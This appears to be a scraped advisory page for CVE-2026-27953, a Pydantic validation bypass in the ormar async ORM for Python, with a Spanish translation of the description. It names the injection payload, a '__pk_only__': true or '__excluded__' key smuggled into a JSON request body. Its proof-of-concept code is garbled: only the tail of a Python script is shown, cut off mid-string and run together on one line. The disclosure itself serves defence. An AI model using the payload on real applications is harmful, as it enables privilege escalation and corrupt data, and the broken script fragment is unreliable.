CVE-2026-27953

Description

ormar is a async mini ORM for Python. Versions 0.23.0 and below are vulnerable to Pydantic validation bypass through the model constructor, allowing any unauthenticated user to skip all field validation by injecting "__pk_only__": true into a JSON request body. By injecting "__pk_only__": true into a JSON request body, an unauthenticated attacker can skip all field validation and persist unvalidated data directly to the database. A secondary __excluded__ parameter injection uses the same pattern to selectively nullify arbitrary model fields (e.g., email or role) during construction. This affects ormar's canonical FastAPI integration pattern recommended in its official documentation, enabling privilege escalation, data integrity violations, and business logic bypass in any application using ormar.Model directly as a request body parameter. This issue has been fixed in version 0.23.1.

The following code is for security research and authorized testing only.
python

Data persisted without validation.") else: print(f"[-] Request failed with status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_poc()

Las versiones 0.23.0 e inferiores son vulnerables a un bypass de validación de Pydantic a través del constructor del modelo, permitiendo a cualquier usuario no autenticado omitir toda la validación de campos inyectando '__pk_only__': true en un cuerpo de solicitud JSON. Al inyectar '__pk_only__': true en un cuerpo de solicitud JSON, un atacante no autenticado puede omitir toda la validación de campos y persistir datos no validados directamente en la base de datos.
